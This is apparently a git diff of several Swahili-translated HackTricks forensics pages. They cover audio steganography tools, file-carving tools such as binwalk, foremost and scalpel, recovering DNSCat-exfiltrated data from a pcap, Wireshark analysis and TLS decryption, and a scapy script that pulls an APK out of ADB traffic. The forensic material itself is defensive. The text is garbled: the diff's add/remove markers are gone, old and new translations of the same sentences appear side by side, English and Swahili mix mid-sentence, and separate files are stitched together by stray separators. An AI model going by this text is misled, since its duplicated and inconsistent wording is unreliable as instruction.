Zana muhimu kwa uchunguzi wa kivisuali na kianalitiki wa faili za sauti, Sonic Visualizer inaweza kufunua vipengele vilivyofichwa visivyoweza kugunduliwa kwa njia nyingine. Tembelea [tovuti rasmi](https://www.sonicvisualiser.org/) kwa maelezo zaidi.
|
||||
Kifaa kisicho na thamani kwa ukaguzi wa kuona na wa uchambuzi wa faili za sauti, Sonic Visualizer inaweza kufichua vipengele vilivyofichwa ambavyo haviwezi kugundulika kwa njia nyingine. Tembelea [tovuti rasmi](https://www.sonicvisualiser.org/) kwa maelezo zaidi.
|
||||
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
Kugundua sauti za DTMF katika faili za sauti kunaweza kufikiwa kupitia zana za mtandaoni kama [hii DTMF detector](https://unframework.github.io/dtmf-detect/) na [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
Kugundua sauti za DTMF katika faili za sauti kunaweza kufanywa kupitia zana za mtandaoni kama [hiki kifaa cha kugundua DTMF](https://unframework.github.io/dtmf-detect/) na [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
|
||||
## **Mbinu Nyingine**
|
||||
## **Other Techniques**
|
||||
|
||||
### **Urefu wa Binary SQRT - Msimbo wa QR**
|
||||
### **Binary Length SQRT - QR Code**
|
||||
|
||||
Data ya binary ambayo inapimwa kwa mraba wa nambari kamili inaweza kuwakilisha msimbo wa QR. Tumia kificho hiki kuangalia:
|
||||
Data za binary ambazo zina mraba kuwa nambari nzima zinaweza kuwakilisha QR code. Tumia kipande hiki kuangalia:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
Kwa ajili ya kubadilisha binary kuwa picha, angalia [dcode](https://www.dcode.fr/binary-image). Kusoma QR codes, tumia [hiki kipanga barcode mtandaoni](https://online-barcode-reader.inliteresearch.com/).
|
||||
|
||||
### **Tafsiri ya Braille**
|
||||
|
||||
Kwa kutafsiri Braille, [Mwandishi wa Braille wa Branah](https://www.branah.com/braille-translator) ni rasilimali nzuri.
|
||||
Kwa kutafsiri Braille, [Branah Braille Translator](https://www.branah.com/braille-translator) ni rasilimali bora.
|
||||
|
||||
## **Vyanzo**
|
||||
## **Marejeleo**
|
||||
|
||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Carving & Recovery tools
|
||||
|
||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
|
@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
Zana nyingine ya kawaida ya kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi ya foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta faili fulani, ondoa alama ya maoni. Ikiwa huondoi alama ya maoni, foremost itatafuta aina zake za faili zilizowekwa kama chaguo-msingi.
|
||||
Zana lingine la kawaida la kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi ya foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta faili fulani, ondoa alama ya maoni. Ikiwa huondoi alama ya maoni, foremost itatafuta aina zake za faili zilizowekwa kama chaguo-msingi.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
|
@ -52,7 +44,7 @@ foremost -v -i file.img -o output
|
|||
```
|
||||
### **Scalpel**
|
||||
|
||||
**Scalpel** ni chombo kingine ambacho kinaweza kutumika kutafuta na kutoa **faili zilizojumuishwa katika faili**. Katika kesi hii, utahitaji kuondoa maoni kutoka kwa faili la usanidi (_/etc/scalpel/scalpel.conf_) aina za faili unazotaka ikatoe.
|
||||
**Scalpel** ni chombo kingine ambacho kinaweza kutumika kutafuta na kutoa **faili zilizojumuishwa ndani ya faili**. Katika kesi hii, utahitaji kuondoa maoni kutoka kwa faili ya usanidi (_/etc/scalpel/scalpel.conf_) aina za faili unazotaka ikatoe.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
|
|
@ -61,7 +53,7 @@ scalpel file.img -o output
|
|||
|
||||
Chombo hiki kinapatikana ndani ya kali lakini unaweza kukipata hapa: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
Chombo hiki kinaweza kuskan picha na **kutoa pcaps** ndani yake, **taarifa za mtandao (URLs, domains, IPs, MACs, mails)** na zaidi **faili**. Unahitaji tu kufanya:
|
||||
Chombo hiki kinaweza kuskan picha na **kuchota pcaps** ndani yake, **taarifa za mtandao (URLs, domains, IPs, MACs, mails)** na zaidi **faili**. Unahitaji tu kufanya:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
|
|
@ -105,12 +97,6 @@ Download [hapa](https://sourceforge.net/projects/findaes/).
|
|||
You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\
|
||||
You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
@ -120,7 +106,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) or the [**kikundi cha telegram**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Carving & Recovery tools
|
||||
|
||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
|
@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
Zana nyingine ya kawaida ya kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi ya foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta faili fulani, ondoa alama ya maoni kwenye hizo. Ikiwa hujaondoa alama ya maoni kwenye chochote, foremost itatafuta aina zake za faili zilizowekwa kama chaguo-msingi.
|
||||
Zana nyingine ya kawaida ya kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi ya foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta faili fulani, ondoa alama ya maoni. Ikiwa huondoi alama ya maoni, foremost itatafuta aina zake za faili zilizowekwa kama chaguo-msingi.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
|
@ -52,7 +44,7 @@ foremost -v -i file.img -o output
|
|||
```
|
||||
### **Scalpel**
|
||||
|
||||
**Scalpel** ni chombo kingine ambacho kinaweza kutumika kutafuta na kutoa **faili zilizojumuishwa ndani ya faili**. Katika kesi hii, utahitaji kuondoa maoni kutoka kwa faili la usanidi (_/etc/scalpel/scalpel.conf_) aina za faili unazotaka ikatoe.
|
||||
**Scalpel** ni chombo kingine ambacho kinaweza kutumika kupata na kutoa **faili zilizojumuishwa katika faili**. Katika kesi hii, utahitaji kuondoa maoni kutoka kwa faili la usanidi (_/etc/scalpel/scalpel.conf_) aina za faili unazotaka ikatoe.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
|
|
@ -61,55 +53,49 @@ scalpel file.img -o output
|
|||
|
||||
Chombo hiki kinapatikana ndani ya kali lakini unaweza kukipata hapa: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
Chombo hiki kinaweza kuskan picha na kitatoa **pcaps** ndani yake, **taarifa za mtandao (URLs, domains, IPs, MACs, mails)** na zaidi **files**. Unachohitaji kufanya ni:
|
||||
Chombo hiki kinaweza kuskan picha na **kutoa pcaps** ndani yake, **taarifa za mtandao (URLs, domains, IPs, MACs, mails)** na zaidi **faili**. Unahitaji tu kufanya:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Navigate through **maelezo yote** that the tool has gathered (passwords?), **analyze** the **paket** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **domeni za ajabu** (domains related to **malware** or **zisizokuwepo**).
|
||||
Navigate through **maelezo yote** ambayo chombo kimekusanya (nywila?), **chambua** **paket** (soma[ **Pcaps analysis**](../pcap-inspection/)), tafuta **domeni za ajabu** (domeni zinazohusiana na **malware** au **zisizokuwepo**).
|
||||
|
||||
### PhotoRec
|
||||
|
||||
You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
||||
Unaweza kuipata katika [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
||||
|
||||
It comes with GUI and CLI versions. You can select the **aina za faili** you want PhotoRec to search for.
|
||||
Inakuja na toleo la GUI na CLI. Unaweza kuchagua **aina za faili** unazotaka PhotoRec itafute.
|
||||
|
||||
.png>)
|
||||
|
||||
### binvis
|
||||
|
||||
Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/).
|
||||
Angalia [msimbo](https://code.google.com/archive/p/binvis/) na [ukurasa wa chombo](https://binvis.io/#/).
|
||||
|
||||
#### Features of BinVis
|
||||
#### Vipengele vya BinVis
|
||||
|
||||
* Visual and active **muonekano wa muundo**
|
||||
* Multiple plots for different focus points
|
||||
* Focusing on portions of a sample
|
||||
* **Kuona stings na rasilimali**, in PE or ELF executables e. g.
|
||||
* Getting **mifumo** for cryptanalysis on files
|
||||
* **Kugundua** packer or encoder algorithms
|
||||
* **Tambua** Steganography by patterns
|
||||
* **Visual** binary-diffing
|
||||
* Mtazamaji wa **muundo** wa kuona na wa kazi
|
||||
* Mchoro mwingi kwa maeneo tofauti ya kuzingatia
|
||||
* Kuangazia sehemu za sampuli
|
||||
* **Kuona stings na rasilimali**, katika PE au ELF executable mfano
|
||||
* Kupata **mifumo** ya uchambuzi wa kificho kwenye faili
|
||||
* **Kugundua** algorithimu za pakker au encoder
|
||||
* **Tambua** Steganography kwa mifumo
|
||||
* **Kuona** tofauti za binary
|
||||
|
||||
BinVis is a great **nukta ya kuanzia kujifunza kuhusu lengo lisilojulikana** in a black-boxing scenario.
|
||||
BinVis ni **nukta ya kuanzia nzuri ili kufahamiana na lengo lisilojulikana** katika hali ya black-boxing.
|
||||
|
||||
## Specific Data Carving Tools
|
||||
## Zana Maalum za Data Carving
|
||||
|
||||
### FindAES
|
||||
|
||||
Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker.
|
||||
Inatafuta funguo za AES kwa kutafuta ratiba zao za funguo. Inaweza kupata funguo za 128, 192, na 256 bit, kama zile zinazotumiwa na TrueCrypt na BitLocker.
|
||||
|
||||
Download [hapa](https://sourceforge.net/projects/findaes/).
|
||||
Pakua [hapa](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
## Complementary tools
|
||||
## Zana za Kusaidia
|
||||
|
||||
You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\
|
||||
You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
Unaweza kutumia [**viu** ](https://github.com/atanunq/viu)kuona picha kutoka kwenye terminal.\
|
||||
Unaweza kutumia chombo cha mistari ya amri za linux **pdftotext** kubadilisha pdf kuwa maandiko na kuisoma.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
@ -119,7 +105,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
|||
|
|
@ -15,21 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
Ikiwa una pcap yenye data inayokuwa **exfiltrated by DNSCat** (bila kutumia usimbuaji), unaweza kupata maudhui yaliyokuwa yakiwekwa nje.
|
||||
Ikiwa una pcap yenye data inay **exfiltrated na DNSCat** (bila kutumia usimbuaji), unaweza kupata maudhui yaliyotolewa.
|
||||
|
||||
Unahitaji tu kujua kwamba **bytes 9 za kwanza** si data halisi bali zinahusiana na **C\&C communication**:
|
||||
```python
|
||||
|
|
|
|||
|
|
@ -15,25 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Improve your Wireshark skills
|
||||
|
||||
### Tutorials
|
||||
|
||||
Mafunzo yafuatayo ni mazuri kujifunza mbinu za msingi:
|
||||
The following tutorials are amazing to learn some cool basic tricks:
|
||||
|
||||
* [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
|
||||
* [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
|
||||
|
|
@ -44,73 +31,73 @@ Mafunzo yafuatayo ni mazuri kujifunza mbinu za msingi:
|
|||
|
||||
**Expert Information**
|
||||
|
||||
Kubofya kwenye _**Analyze** --> **Expert Information**_ utapata **muonekano** wa kile kinachotokea katika pakiti **zilizochambuliwa**:
|
||||
Clicking on _**Analyze** --> **Expert Information**_ you will have an **overview** of what is happening in the packets **analyzed**:
|
||||
|
||||
.png>)
|
||||
|
||||
**Resolved Addresses**
|
||||
|
||||
Chini ya _**Statistics --> Resolved Addresses**_ unaweza kupata **taarifa** kadhaa ambazo zimekuwa "**resolved**" na wireshark kama port/transport hadi protocol, MAC hadi mtengenezaji, nk. Ni ya kuvutia kujua kile kinachohusika katika mawasiliano.
|
||||
Under _**Statistics --> Resolved Addresses**_ you can find several **information** that was "**resolved**" by wireshark like port/transport to protocol, MAC to the manufacturer, etc. It is interesting to know what is implicated in the communication.
|
||||
|
||||
.png>)
|
||||
|
||||
**Protocol Hierarchy**
|
||||
|
||||
Chini ya _**Statistics --> Protocol Hierarchy**_ unaweza kupata **protocols** **zinazo husika** katika mawasiliano na data kuhusu hizo.
|
||||
Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **involved** in the communication and data about them.
|
||||
|
||||
.png>)
|
||||
|
||||
**Conversations**
|
||||
|
||||
Chini ya _**Statistics --> Conversations**_ unaweza kupata **muhtasari wa mazungumzo** katika mawasiliano na data kuhusu hizo.
|
||||
Under _**Statistics --> Conversations**_ you can find a **summary of the conversations** in the communication and data about them.
|
||||
|
||||
.png>)
|
||||
|
||||
**Endpoints**
|
||||
|
||||
Chini ya _**Statistics --> Endpoints**_ unaweza kupata **muhtasari wa endpoints** katika mawasiliano na data kuhusu kila moja yao.
|
||||
Under _**Statistics --> Endpoints**_ you can find a **summary of the endpoints** in the communication and data about each of them.
|
||||
|
||||
.png>)
|
||||
|
||||
**DNS info**
|
||||
|
||||
Chini ya _**Statistics --> DNS**_ unaweza kupata takwimu kuhusu ombi la DNS lililokamatwa.
|
||||
Under _**Statistics --> DNS**_ you can find statistics about the DNS request captured.
|
||||
|
||||
.png>)
|
||||
|
||||
**I/O Graph**
|
||||
|
||||
Chini ya _**Statistics --> I/O Graph**_ unaweza kupata **grafu ya mawasiliano.**
|
||||
Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication.**
|
||||
|
||||
.png>)
|
||||
|
||||
### Filters
|
||||
|
||||
Hapa unaweza kupata chujio za wireshark kulingana na protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||
Chujio zingine za kuvutia:
|
||||
Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||
Other interesting filters:
|
||||
|
||||
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
|
||||
* HTTP na trafiki ya mwanzo ya HTTPS
|
||||
* HTTP na trafiki ya awali ya HTTPS
|
||||
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
|
||||
* HTTP na trafiki ya mwanzo ya HTTPS + TCP SYN
|
||||
* HTTP na trafiki ya awali ya HTTPS + TCP SYN
|
||||
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
|
||||
* HTTP na trafiki ya mwanzo ya HTTPS + TCP SYN + maombi ya DNS
|
||||
* HTTP na trafiki ya awali ya HTTPS + TCP SYN + maombi ya DNS
|
||||
|
||||
### Search
|
||||
|
||||
Ikiwa unataka **kutafuta** **maudhui** ndani ya **pakiti** za vikao bonyeza _CTRL+f_. Unaweza kuongeza tabaka mpya kwenye bar ya habari kuu (No., Wakati, Chanzo, nk.) kwa kubonyeza kitufe cha kulia na kisha kuhariri safu.
|
||||
If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_. You can add new layers to the main information bar (No., Time, Source, etc.) by pressing the right button and then the edit column.
|
||||
|
||||
### Free pcap labs
|
||||
|
||||
**Fanya mazoezi na changamoto za bure za:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
|
||||
**Practice with the free challenges of:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
|
||||
|
||||
## Identifying Domains
|
||||
|
||||
Unaweza kuongeza safu inayonyesha kichwa cha HTTP cha Host:
|
||||
You can add a column that shows the Host HTTP header:
|
||||
|
||||
.png>)
|
||||
|
||||
Na safu inayoongeza jina la Server kutoka kwa muunganisho wa HTTPS unaoanzisha (**ssl.handshake.type == 1**):
|
||||
And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**):
|
||||
|
||||
 (1).png>)
|
||||
|
||||
|
|
@ -118,7 +105,7 @@ Na safu inayoongeza jina la Server kutoka kwa muunganisho wa HTTPS unaoanzisha (
|
|||
|
||||
### From DHCP
|
||||
|
||||
Katika Wireshark ya sasa badala ya `bootp` unahitaji kutafuta `DHCP`
|
||||
In current Wireshark instead of `bootp` you need to search for `DHCP`
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -134,25 +121,25 @@ _edit>preference>protocol>ssl>_
|
|||
|
||||
.png>)
|
||||
|
||||
Bonyeza _Edit_ na ongeza data zote za server na funguo binafsi (_IP, Port, Protocol, Key file na password_)
|
||||
Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_)
|
||||
|
||||
### Decrypting https traffic with symmetric session keys
|
||||
|
||||
Firefox na Chrome zina uwezo wa kurekodi funguo za kikao za TLS, ambazo zinaweza kutumika na Wireshark kufungua trafiki ya TLS. Hii inaruhusu uchambuzi wa kina wa mawasiliano salama. Maelezo zaidi juu ya jinsi ya kufanya ufunguo huu yanaweza kupatikana katika mwongozo kwenye [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
|
||||
Both Firefox and Chrome have the capability to log TLS session keys, which can be used with Wireshark to decrypt TLS traffic. This allows for in-depth analysis of secure communications. More details on how to perform this decryption can be found in a guide at [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
|
||||
|
||||
Ili kugundua hii tafuta ndani ya mazingira kwa variable `SSLKEYLOGFILE`
|
||||
To detect this search inside the environment for to variable `SSLKEYLOGFILE`
|
||||
|
||||
Faili ya funguo zilizoshirikiwa itakuwa na muonekano huu:
|
||||
A file of shared keys will look like this:
|
||||
|
||||
.png>)
|
||||
|
||||
Ili kuingiza hii katika wireshark nenda kwa \_edit > preference > protocol > ssl > na uingize katika (Pre)-Master-Secret log filename:
|
||||
To import this in wireshark go to \_edit > preference > protocol > ssl > and import it in (Pre)-Master-Secret log filename:
|
||||
|
||||
.png>)
|
||||
|
||||
## ADB communication
|
||||
|
||||
Toa APK kutoka kwa mawasiliano ya ADB ambapo APK ilitumwa:
|
||||
Extract an APK from an ADB communication where the APK was sent:
|
||||
```python
|
||||
from scapy.all import *
|
||||
|
||||
|
|
@ -179,18 +166,6 @@ f = open('all_bytes.data', 'w+b')
|
|||
f.write(all_bytes)
|
||||
f.close()
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
@ -201,7 +176,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
